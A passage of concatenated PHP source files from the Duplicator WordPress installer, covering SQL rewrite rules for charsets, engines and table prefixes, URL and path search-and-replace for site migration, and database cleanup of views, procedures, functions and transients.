self::USER_DEFINER_REMOVE_REPLACE; } else { $this->globalRules['search'][] = self::USER_DEFINER_REPLACE_PATTERN; $dbHost = PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_HOST); $dbUser = PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_USER); $definerHost = (($dbHost == "localhost" || $dbHost == "127.0.0.1") ? $dbHost : '%'); $this->globalRules['replace'][] = '$1' . addcslashes("`" . $dbUser . "`@`" . $definerHost . "`", '\\$') . '$3'; } $this->globalRules['search'][] = self::SQL_SECURITY_INVOKER_PATTERN; $this->globalRules['replace'][] = self::SQL_SECURITY_INVOKER_REPLACE; $this->generatorLog .= "GLOBAL RULES ADDED: PROC AND VIEWS\n"; } /** * Check invalid SQL engines * * @return void */ protected function rulesMySQLEngine() { $invalidEngines = array_map(function ($engine) { return preg_quote($engine, '/'); }, DUPX_ArchiveConfig::getInstance()->invalidEngines()); if (empty($invalidEngines)) { return; } $this->globalRules['search'][] = '/^(\s*(?:\/\*!\d+\s)?\s*CREATE.+ENGINE=)(' . implode('|', $invalidEngines) . ')(.*)$/ms'; $this->globalRules['replace'][] = '$1' . DUPX_DB_Functions::getInstance()->getDefaultEngine() . '$3'; $this->generatorLog .= "GLOBAL RULES ADDED: MYSQL ENGINES\n"; } /** * Set legacy charset adn collation rules * * regex managed examples * - `meta_value` longtext CHARACTER SET utf16 COLLATE utf16_slovak_ci DEFAULT NULL, * - `comment_author` tinytext COLLATE utf8mb4_unicode_ci NOT NULL, * - ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci_test; * - ) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8mb4; * * accept ['"`]charset['"`] * * @return void */ public function legacyCharsetAndCollation() { $invalidCharsets = DUPX_ArchiveConfig::getInstance()->invalidCharsets(); $invalidCollations = DUPX_ArchiveConfig::getInstance()->invalidCollations(); $defCharsetRegex = addcslashes(DUPX_DB_Functions::getInstance()->getRealCharsetByParam(), '\\$'); $defCollateRegex = addcslashes(DUPX_DB_Functions::getInstance()->getRealCollateByParam(), '\\$'); if (count($invalidCharsets) > 0) { $invalidChrRegex = '(?:' . implode('|', array_map(function ($val) { return preg_quote($val, '/'); }, $invalidCharsets)) . ')'; $this->globalRules['search'][] = '/(^.*(?:CHARSET|CHARACTER SET)\s*[\s=]\s*[`\'"]?)(' . $invalidChrRegex . ')([`\'"]?\s.*COLLATE\s*[\s=]\s*[`\'"]?)([^`\'"\s;,]+)([`\'"]?.*$)/m'; $this->globalRules['replace'][] = '$1' . $defCharsetRegex . '$3' . $defCollateRegex . '$5'; $this->globalRules['search'][] = '/(^.*COLLATE\s*[\s=]\s*[`\'"]?)([^`\'"\s;,]+)([`\'"]?\s.*(?:CHARSET|CHARACTER SET)\s*[\s=]\s*[`\'"]?)(' . $invalidChrRegex . ')([`\'"]?[\s;,].*$)/m'; $this->globalRules['replace'][] = '$1' . $defCollateRegex . '$3' . $defCharsetRegex . '$5'; $this->globalRules['search'][] = '/(^.*(?:CHARSET|CHARACTER SET)\s*[\s=]\s*[`\'"]?)(' . $invalidChrRegex . ')([`\'"]?[\s;,].*$)/m'; $this->globalRules['replace'][] = '$1' . $defCharsetRegex . '$3'; $this->generatorLog .= "GLOBAL RULES ADDED: INVALID CHARSETS\n"; } if (count($invalidCollations) > 0) { $invalidColRegex = '(?:' . implode('|', array_map(function ($val) { return preg_quote($val, '/'); }, $invalidCollations)) . ')'; $this->globalRules['search'][] = '/(^.*(?:CHARSET|CHARACTER SET)\s*[\s=]\s*[`\'"]?)([^`\'"\s;,]+)([`\'"]?\s.*COLLATE\s*[\s=]\s*[`\'"]?)(' . $invalidColRegex . ')([`\'"]?[\s;,].*$)/m'; $this->globalRules['replace'][] = '$1' . $defCharsetRegex . '$3' . $defCollateRegex . '$5'; $this->globalRules['search'][] = '/(^.*COLLATE\s*[\s=]\s*[`\'"]?)(' . $invalidColRegex . ')([`\'"]?\s.*(?:CHARSET|CHARACTER SET)\s*[\s=]\s*[`\'"]?)([^`\'"\s;,]+)([`\'"]?.*$)/m'; $this->globalRules['replace'][] = '$1' . $defCollateRegex . '$3' . $defCharsetRegex . '$5'; $this->globalRules['search'][] = '/(^.*COLLATE\s*[\s=]\s*[`\'"]?)(' . $invalidColRegex . ')([`\'"]?[\s;,].*$)/m'; $this->globalRules['replace'][] = '$1' . $defCollateRegex . '$3'; $this->generatorLog .= "GLOBAL RULES ADDED: INVALID COLLATIONS\n"; } } /** * Set search and replace table prefix rules * * @return void */ protected function rulesTableNames() { $mapping = DUPX_DB_Tables::getInstance()->getRenameTablesMapping(); $oldPrefixes = array_keys($mapping); $newPrefixes = array(); foreach ($mapping as $oldPrefix => $newMapping) { $newPrefixes = array_merge($newPrefixes, array_keys($newMapping)); } $newPrefixes = array_unique($newPrefixes); // Prevent double transformation with temp prefix $doublePrefixes = array_intersect($oldPrefixes, $newPrefixes); if (count($doublePrefixes) > 0) { $this->generatorLog .= 'DOUBLE PREFIXES ' . Log::v2str($doublePrefixes); } foreach ($mapping as $oldPrefix => $newMapping) { $rulesSet = array( 'search' => array(), 'replace' => array() ); $quoteOldPrefix = preg_quote($oldPrefix, '/'); foreach ($newMapping as $newPrefix => $commons) { $this->generatorLog .= "TABLES RULES ADDED: CHANGE TABLES PREFIX " . $oldPrefix . " TO " . $newPrefix ; if (in_array($newPrefix, $doublePrefixes)) { $this->generatorLog .= " [USE TMP PREFIX]\n"; $newPrefix = $newPrefix . self::TEMP_POSTFIX; } else { $this->generatorLog .= "\n"; } $this->generatorLog .= "\tFOR TABLES " . implode(',', $commons) . "\n"; $quoteNewPrefix = addcslashes($newPrefix, '\\$'); $quoteCommons = array_map( function ($val) { return preg_quote($val, '/'); }, $commons ); for ($i = 0; $i < ceil(count($quoteCommons) / DUPX_DBInstall::TABLES_REGEX_CHUNK_SIZE); $i++) { $subArray = array_slice($quoteCommons, $i * DUPX_DBInstall::TABLES_REGEX_CHUNK_SIZE, DUPX_DBInstall::TABLES_REGEX_CHUNK_SIZE); if (count($subArray) == 0) { break; } $rulesSet['search'][] = '/' . $quoteOldPrefix . '(' . implode('|', $subArray) . ')/m'; $rulesSet['replace'][] = $quoteNewPrefix . '$1'; } $rulesSet['search'][] = '/(CONSTRAINT[\s\t]+[`\'"]?.+)(?-i)' . $quoteOldPrefix . '(?i)(.+[`\'"]?[\s\t]+FOREIGN[\s\t]+KEY)/mi'; $rulesSet['replace'][] = '$1' . $quoteNewPrefix . '$2'; } if (count($rulesSet['search']) > 0) { $this->tablesPrefixRules[] = $rulesSet; } } if (count($doublePrefixes)) { // REMOVE TEMP PREFIXES $rulesSet = array( 'search' => array(), 'replace' => array() ); foreach ($doublePrefixes as $prefix) { $quoteTempPrefix = preg_quote($prefix . self::TEMP_POSTFIX, '/'); $quotePrefix = addcslashes($prefix, '\\$'); $rulesSet['search'][] = '/' . $quoteTempPrefix . '/m'; $rulesSet['replace'][] = $quotePrefix . '$1'; } $this->tablesPrefixRules[] = $rulesSet; } } } Database/DbReplace.php 0000604 00000026571 15136251117 0010613 0 ustar 00 <?php namespace Duplicator\Installer\Core\Deploy\Database; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\Snap\SnapIO; use DUPX_ArchiveConfig; use DUPX_InstallerState; use DUPX_S_R_ITEM; use DUPX_S_R_MANAGER; use DUPX_U; use DUPX_UpdateEngine; use Exception; class DbReplace { /** @var string */ protected $mainUrlOld = ''; /** @var string */ protected $mainUrlNew = ''; /** @var bool */ protected $forceReplaceSiteSubfolders = false; /** * Class constructor */ public function __construct() { $prmMng = PrmMng::getInstance(); $this->mainUrlOld = $prmMng->getValue(PrmMng::PARAM_URL_OLD); $this->mainUrlNew = $prmMng->getValue(PrmMng::PARAM_URL_NEW); } /** * Set search and replace strings * * @return bool */ public function setSearchReplace() { switch (DUPX_InstallerState::getInstType()) { case DUPX_InstallerState::INSTALL_SINGLE_SITE: $this->setGlobalSearchAndReplaceList(); break; case DUPX_InstallerState::INSTALL_SINGLE_SITE_ON_SUBDOMAIN: case DUPX_InstallerState::INSTALL_SINGLE_SITE_ON_SUBFOLDER: throw new Exception('mode not avaiable'); case DUPX_InstallerState::INSTALL_RBACKUP_SINGLE_SITE: throw new Exception('Replace engine isn\'t avaiable for restore backup mode'); case DUPX_InstallerState::INSTALL_NOT_SET: default: throw new Exception('Invalid installer mode'); } return true; } /** * Set global search replace * * @return void */ private function setGlobalSearchAndReplaceList() { $srManager = DUPX_S_R_MANAGER::getInstance(); $paramsManager = PrmMng::getInstance(); // DIRS PATHS $this->addReplaceEnginePaths($srManager); Log::info('GLOBAL SEARCH REPLACE ', Log::LV_DETAILED); if ( !DUPX_InstallerState::isInstallerCreatedInThisLocation() ) { $uploadUrlOld = $paramsManager->getValue(PrmMng::PARAM_URL_UPLOADS_OLD); $uploadUrlNew = $paramsManager->getValue(PrmMng::PARAM_URL_UPLOADS_NEW); if (self::checkRelativeAndAbsoluteDiff($this->mainUrlOld, $this->mainUrlNew, $uploadUrlOld, $uploadUrlNew)) { $srManager->addItem($uploadUrlOld, $uploadUrlNew, DUPX_S_R_ITEM::TYPE_URL_NORMALIZE_DOMAIN, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } $siteUrlOld = $paramsManager->getValue(PrmMng::PARAM_SITE_URL_OLD); $siteUrlNew = $paramsManager->getValue(PrmMng::PARAM_SITE_URL); if (self::checkRelativeAndAbsoluteDiff($this->mainUrlOld, $this->mainUrlNew, $siteUrlOld, $siteUrlNew)) { $srManager->addItem($siteUrlOld, $siteUrlNew, DUPX_S_R_ITEM::TYPE_URL_NORMALIZE_DOMAIN, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P3); } $srManager->addItem($this->mainUrlOld, $this->mainUrlNew, DUPX_S_R_ITEM::TYPE_URL_NORMALIZE_DOMAIN, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P3); } $pluginsUrlOld = $paramsManager->getValue(PrmMng::PARAM_URL_PLUGINS_OLD); $pluginsUrlNew = $paramsManager->getValue(PrmMng::PARAM_URL_PLUGINS_NEW); if ( $this->forceReplaceSiteSubfolders || self::checkRelativeAndAbsoluteDiff($this->mainUrlOld, $this->mainUrlNew, $pluginsUrlOld, $pluginsUrlNew) ) { $srManager->addItem($pluginsUrlOld, $pluginsUrlNew, DUPX_S_R_ITEM::TYPE_URL_NORMALIZE_DOMAIN, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } $mupluginsUrlOld = $paramsManager->getValue(PrmMng::PARAM_URL_MUPLUGINS_OLD); $mupluginsUrlNew = $paramsManager->getValue(PrmMng::PARAM_URL_MUPLUGINS_NEW); if ( $this->forceReplaceSiteSubfolders || self::checkRelativeAndAbsoluteDiff($this->mainUrlOld, $this->mainUrlNew, $mupluginsUrlOld, $mupluginsUrlNew) ) { $srManager->addItem($mupluginsUrlOld, $mupluginsUrlNew, DUPX_S_R_ITEM::TYPE_URL_NORMALIZE_DOMAIN, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } $contentUrlOld = $paramsManager->getValue(PrmMng::PARAM_URL_CONTENT_OLD); $contentUrlNew = $paramsManager->getValue(PrmMng::PARAM_URL_CONTENT_NEW); if ( $this->forceReplaceSiteSubfolders || self::checkRelativeAndAbsoluteDiff($this->mainUrlOld, $this->mainUrlNew, $contentUrlOld, $contentUrlNew) ) { $srManager->addItem($contentUrlOld, $contentUrlNew, DUPX_S_R_ITEM::TYPE_URL_NORMALIZE_DOMAIN, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P2); } // Replace email address (xyz@oldomain.com to xyz@newdomain.com). if ($paramsManager->getValue(PrmMng::PARAM_EMAIL_REPLACE)) { $at_old_domain = '@' . DUPX_U::getDomain($this->mainUrlOld); $at_new_domain = '@' . DUPX_U::getDomain($this->mainUrlNew); $srManager->addItem($at_old_domain, $at_new_domain, DUPX_S_R_ITEM::TYPE_STRING, DUPX_UpdateEngine::SR_PRORITY_LOW); } } /** * add paths to replace on sear/replace engine * * @return void */ private function addReplaceEnginePaths() { $srManager = DUPX_S_R_MANAGER::getInstance(); $paramsManager = PrmMng::getInstance(); if ($paramsManager->getValue(PrmMng::PARAM_SKIP_PATH_REPLACE)) { return; } $archiveConfig = DUPX_ArchiveConfig::getInstance(); $originalPaths = $archiveConfig->getRealValue('originalPaths'); $mainPathOld = $paramsManager->getValue(PrmMng::PARAM_PATH_OLD); $mainPathNew = $paramsManager->getValue(PrmMng::PARAM_PATH_NEW); if ( !DUPX_InstallerState::isInstallerCreatedInThisLocation() ) { $uploadPathOld = $paramsManager->getValue(PrmMng::PARAM_PATH_UPLOADS_OLD); $uploadPathNew = $paramsManager->getValue(PrmMng::PARAM_PATH_UPLOADS_NEW); if (self::checkRelativeAndAbsoluteDiff($mainPathOld, $mainPathNew, $uploadPathOld, $uploadPathNew)) { $srManager->addItem($uploadPathOld, $uploadPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } if ( $originalPaths->uploads != $uploadPathOld && self::checkRelativeAndAbsoluteDiff($originalPaths->home, $mainPathNew, $originalPaths->uploads, $uploadPathNew) ) { $srManager->addItem($originalPaths->uploads, $uploadPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } $corePathOld = $paramsManager->getValue(PrmMng::PARAM_PATH_WP_CORE_OLD); $corePathNew = $paramsManager->getValue(PrmMng::PARAM_PATH_WP_CORE_NEW); if (self::checkRelativeAndAbsoluteDiff($mainPathOld, $mainPathNew, $corePathOld, $corePathNew)) { $srManager->addItem($corePathOld, $corePathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P3); } if ( $originalPaths->abs != $corePathOld && self::checkRelativeAndAbsoluteDiff($originalPaths->home, $mainPathNew, $originalPaths->abs, $corePathNew) ) { $srManager->addItem($originalPaths->abs, $corePathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P3); } $srManager->addItem($mainPathOld, $mainPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P3); if ($originalPaths->home != $mainPathOld) { $srManager->addItem($originalPaths->home, $mainPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P3); } } $pluginsPathOld = $paramsManager->getValue(PrmMng::PARAM_PATH_PLUGINS_OLD); $pluginsPathNew = $paramsManager->getValue(PrmMng::PARAM_PATH_PLUGINS_NEW); if (self::checkRelativeAndAbsoluteDiff($mainPathOld, $mainPathNew, $pluginsPathOld, $pluginsPathNew)) { $srManager->addItem($pluginsPathOld, $pluginsPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } if ( $originalPaths->plugins != $pluginsPathOld && self::checkRelativeAndAbsoluteDiff($originalPaths->home, $mainPathNew, $originalPaths->plugins, $pluginsPathNew) ) { $srManager->addItem($originalPaths->plugins, $pluginsPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } $mupluginsPathOld = $paramsManager->getValue(PrmMng::PARAM_PATH_MUPLUGINS_OLD); $mupluginsPathNew = $paramsManager->getValue(PrmMng::PARAM_PATH_MUPLUGINS_NEW); if (self::checkRelativeAndAbsoluteDiff($mainPathOld, $mainPathNew, $mupluginsPathOld, $mupluginsPathNew)) { $srManager->addItem($mupluginsPathOld, $mupluginsPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } if ( $originalPaths->muplugins != $mupluginsPathOld && self::checkRelativeAndAbsoluteDiff($originalPaths->home, $mainPathNew, $originalPaths->muplugins, $mupluginsPathNew) ) { $srManager->addItem($originalPaths->muplugins, $mupluginsPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } $contentPathOld = $paramsManager->getValue(PrmMng::PARAM_PATH_CONTENT_OLD); $contentPathNew = $paramsManager->getValue(PrmMng::PARAM_PATH_CONTENT_NEW); if (self::checkRelativeAndAbsoluteDiff($mainPathOld, $mainPathNew, $contentPathOld, $contentPathNew)) { $srManager->addItem($contentPathOld, $contentPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P2); } if ( $originalPaths->wpcontent != $contentPathOld && self::checkRelativeAndAbsoluteDiff($originalPaths->home, $mainPathNew, $originalPaths->wpcontent, $contentPathNew) ) { $srManager->addItem($originalPaths->wpcontent, $contentPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P2); } } /** * Check if sub path if different * * @param string $mainOld main old path * @param string $mainNew main new path * @param string $old old sub path * @param string $new new sub path * * @return bool */ private static function checkRelativeAndAbsoluteDiff($mainOld, $mainNew, $old, $new) { $mainOld = SnapIO::safePath($mainOld); $mainNew = SnapIO::safePath($mainNew); $old = SnapIO::safePath($old); $new = SnapIO::safePath($new); $log = "CHECK REL AND ABS DIF\n" . "\tMAIN OLD: " . Log::v2str($mainOld) . "\n" . "\tMAIN NEW: " . Log::v2str($mainNew) . "\n" . "\tOLD: " . Log::v2str($old) . "\n" . "\tNEW: " . Log::v2str($new); Log::info($log, Log::LV_DEBUG); $isRelativePathDifferent = substr($old, strlen($mainOld)) !== substr($new, strlen($mainNew)); if (strpos($old, $mainOld) !== 0 || strpos($new, $mainNew) !== 0 || $isRelativePathDifferent) { Log::info("\t*** RESULT: TRUE", Log::LV_DEBUG); return true; } else { Log::info("\t*** RESULT: FALSE", Log::LV_DEBUG); return false; } } } Database/DbCleanup.php 0000604 00000032041 15136251117 0010614 0 ustar 00 <?php namespace Duplicator\Installer\Core\Deploy\Database; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Utils\Log\Log; use DUPX_ArchiveConfig; use DUPX_DB; use DUPX_DB_Functions; use DUPX_DBInstall; use DUPX_InstallerState; use DUPX_NOTICE_ITEM; use DUPX_NOTICE_MANAGER; /** * Class with db cleanup functions */ class DbCleanup { /** * Cleanup extra entities (views, procs, funcs) * * @return void */ public static function cleanupExtra() { if (DUPX_InstallerState::isRestoreBackup()) { return; } Log::info("CLEANUP EXTRA"); $paramsManager = PrmMng::getInstance(); if (!$paramsManager->getValue(PrmMng::PARAM_DB_VIEW_CREATION)) { self::dropViews(); Log::info("\t- VIEWS DROPPED"); } else { Log::info("\t- SKIP DROP VIEWS"); } if (!$paramsManager->getValue(PrmMng::PARAM_DB_PROC_CREATION)) { self::dropProcs(); Log::info("\t- PROCS DROPPED"); } else { Log::info("\t- SKIP DROP PROCS"); } if (!$paramsManager->getValue(PrmMng::PARAM_DB_FUNC_CREATION)) { self::dropFuncs(); Log::info("\t- FUNCS DROPPED"); } else { Log::info("\t- SKIP DROP FUNCS"); } } /** * Cleanup packages * * @return void */ public static function cleanupPackages() { if (DUPX_InstallerState::isRestoreBackup()) { Log::info("REMOVE CURRENT PACKAGE IN BACKUP"); self::deletePackageInBackup(); } else { Log::info("EMPTY PACKAGES TABLE"); self::emptyDuplicatorPackages(); } } /** * Cleanup options tables (remove transientes ..) * * @return int return number of items deleted */ public static function cleanupOptions() { if (DUPX_InstallerState::isRestoreBackup()) { return; } $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $archiveConfig = DUPX_ArchiveConfig::getInstance(); $optionsTableList = array(); $optionsTableList[] = mysqli_real_escape_string($dbh, DUPX_DB_Functions::getOptionsTableName()); $deleteOptionConds = array(); $deleteOptionConds[] = '`option_name` LIKE "\_transient%"'; $deleteOptionConds[] = '`option_name` LIKE "\_site\_transient%"'; $opts_delete = array(); foreach ((array) json_decode($archiveConfig->opts_delete) as $value) { $opts_delete[] = '"' . mysqli_real_escape_string($dbh, $value) . '"'; } if (count($opts_delete) > 0) { $deleteOptionConds[] = '`option_name` IN (' . implode(',', $opts_delete) . ')'; } $count = 0; foreach ($optionsTableList as $optionsTable) { $log = "CLEAN OPTIONS [" . $optionsTable . "]"; foreach ($deleteOptionConds as $cond) { $log .= "\n\t" . $cond; } Log::info($log); $count += DUPX_DB::chunksDelete($dbh, $optionsTable, implode(' OR ', $deleteOptionConds)); Log::info('DATABASE OPTIONS DELETED [ROWS:' . str_pad($count, 6, " ", STR_PAD_LEFT) . ']'); } return $count; } /** * Delete current package in backup * * @return void */ protected static function deletePackageInBackup() { $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $packageId = DUPX_ArchiveConfig::getInstance()->packInfo->packageId; Log::info("CLEANUP CURRENT PACKAGE STATUS ID " . $packageId); $packagesTable = mysqli_real_escape_string($dbh, DUPX_DB_Functions::getPackagesTableName()); $optionsTable = mysqli_real_escape_string($dbh, DUPX_DB_Functions::getOptionsTableName()); DUPX_DB::mysqli_query($dbh, 'DELETE FROM `' . $packagesTable . '` WHERE `id` = ' . $packageId); DUPX_DB::mysqli_query($dbh, "DELETE FROM `" . $optionsTable . "` WHERE `option_name` = 'duplicator_package_active'"); } /** * Empty duplicator packages table * * @return int return number of packages deleted */ protected static function emptyDuplicatorPackages() { Log::info("CLEAN PACKAGES"); $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $packagesTable = mysqli_real_escape_string($dbh, DUPX_DB_Functions::getPackagesTableName()); $count = DUPX_DB::chunksDelete($dbh, $packagesTable, '1 = 1'); Log::info('DATABASE PACKAGE DELETED [ROWS:' . str_pad($count, 6, " ", STR_PAD_LEFT) . ']'); return$count; } /** * Drop db procedures * * @return void */ public static function dropProcs() { $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $dbName = PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_NAME); $sql = "SHOW PROCEDURE STATUS WHERE db='{$dbName}'"; $nManager = DUPX_NOTICE_MANAGER::getInstance(); if (!($result = DUPX_DB::mysqli_query($dbh, $sql))) { $nManager->addFinalReportNotice(array( 'shortMsg' => 'PROCEDURE CLEAN ERROR: ' . mysqli_error($dbh), 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to get list of PROCEDURES from database "%s".', $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'database', )); Log::info("PROCEDURE CLEAN ERROR: Could not get list of PROCEDURES to drop them."); return; } if ($result->num_rows === 0) { return; } while ($row = mysqli_fetch_row($result)) { $proc_name = $row[1]; $sql = "DROP PROCEDURE IF EXISTS `" . mysqli_real_escape_string($dbh, $dbName) . "`.`" . mysqli_real_escape_string($dbh, $proc_name) . "`"; if (!DUPX_DB::mysqli_query($dbh, $sql)) { $err = mysqli_error($dbh); $nManager->addNextStepNotice(array( 'shortMsg' => 'PROCEDURE CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove PROCEDURE "%s" from database "%s".<br/>', $proc_name, $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, 'drop-proc-fail-msg'); $nManager->addFinalReportNotice(array( 'shortMsg' => 'PROCEDURE CLEAN ERROR: ' . $err, 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove PROCEDURE "%s" from database "%s".', $proc_name, $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'database', )); Log::info("PROCEDURE CLEAN ERROR: '{$err}'\n\t[SQL=" . substr($sql, 0, DUPX_DBInstall::QUERY_ERROR_LOG_LEN) . "...]\n\n"); } } $nManager->addNextStepNotice(array( 'shortMsg' => 'PROCEDURE CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf(ERR_DROP_PROCEDURE_TRYCLEAN, mysqli_error($dbh)), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_PREPEND_IF_EXISTS, 'drop-proc-fail-msg'); } /** * Drop db functions * * @return void */ public static function dropFuncs() { $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $dbName = PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_NAME); $sql = "SHOW FUNCTION STATUS WHERE db='{$dbName}'"; $nManager = DUPX_NOTICE_MANAGER::getInstance(); if (!($result = DUPX_DB::mysqli_query($dbh, $sql))) { $nManager->addFinalReportNotice(array( 'shortMsg' => 'FUNCTION CLEAN ERROR: ' . mysqli_error($dbh), 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to get list of FUNCTIONS from database "%s".', $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'database', )); Log::info("FUNCTION CLEAN ERROR: Could not get list of FUNCTIONS to drop them."); return; } if ($result->num_rows === 0) { return; } while ($row = mysqli_fetch_row($result)) { $func_name = $row[1]; $sql = "DROP FUNCTION IF EXISTS `" . mysqli_real_escape_string($dbh, $dbName) . "`.`" . mysqli_real_escape_string($dbh, $func_name) . "`"; if (!DUPX_DB::mysqli_query($dbh, $sql)) { $err = mysqli_error($dbh); $nManager->addNextStepNotice(array( 'shortMsg' => 'FUNCTION CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove FUNCTION "%s" from database "%s".<br/>', $func_name, $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, 'drop-func-fail-msg'); $nManager->addFinalReportNotice(array( 'shortMsg' => 'FUNCTION CLEAN ERROR: ' . $err, 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove FUNCTION "%s" from database "%s".', $func_name, $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'database', )); Log::info("FUNCTION CLEAN ERROR: '{$err}'\n\t[SQL=" . substr($sql, 0, DUPX_DBInstall::QUERY_ERROR_LOG_LEN) . "...]\n\n"); } } $nManager->addNextStepNotice(array( 'shortMsg' => 'FUNCTION CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf(ERR_DROP_FUNCTION_TRYCLEAN, mysqli_error($dbh)), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_PREPEND_IF_EXISTS, 'drop-func-fail-msg'); } /** * Drop db views * * @return void */ public static function dropViews() { $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $dbName = PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_NAME); $sql = "SHOW FULL TABLES WHERE Table_Type = 'VIEW'"; $nManager = DUPX_NOTICE_MANAGER::getInstance(); if (!($result = DUPX_DB::mysqli_query($dbh, $sql))) { $nManager->addFinalReportNotice(array( 'shortMsg' => 'VIEW CLEAN ERROR: ' . mysqli_error($dbh), 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to get list of VIEWS from database "%s"', $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'database', )); Log::info("VIEW CLEAN ERROR: Could not get list of VIEWS to drop them."); return; } if ($result->num_rows === 0) { return; } while ($row = mysqli_fetch_row($result)) { $view_name = $row[0]; $sql = "DROP VIEW `" . mysqli_real_escape_string($dbh, $dbName) . "`.`" . mysqli_real_escape_string($dbh, $view_name) . "`"; if (!DUPX_DB::mysqli_query($dbh, $sql)) { $err = mysqli_error($dbh); $nManager->addNextStepNotice(array( 'shortMsg' => 'VIEW CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove VIEW "%s" from database "%s".<br/>', $view_name, $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, 'drop-view-fail-msg'); $nManager->addFinalReportNotice(array( 'shortMsg' => 'VIEW CLEAN ERROR: ' . $err, 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf('Unable to remove VIEW "%s" from database "%s"', $view_name, $dbName), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'database', )); Log::info("VIEW CLEAN ERROR: '{$err}'\n\t[SQL=" . substr($sql, 0, DUPX_DBInstall::QUERY_ERROR_LOG_LEN) . "...]\n\n"); } } $nManager->addNextStepNotice(array( 'shortMsg' => 'VIEW CLEAN ERROR', 'level' => DUPX_NOTICE_ITEM::SOFT_WARNING, 'longMsg' => sprintf(ERR_DROP_VIEW_TRYCLEAN, mysqli_error($dbh)), 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_PREPEND_IF_EXISTS, 'drop-view-fail-msg'); } } Database/DbUserMode.php 0000604 00000056332 15136251117 0010761 0 ustar 00 <?php namespace Duplicator\Installer\Core\Deploy\Database; use 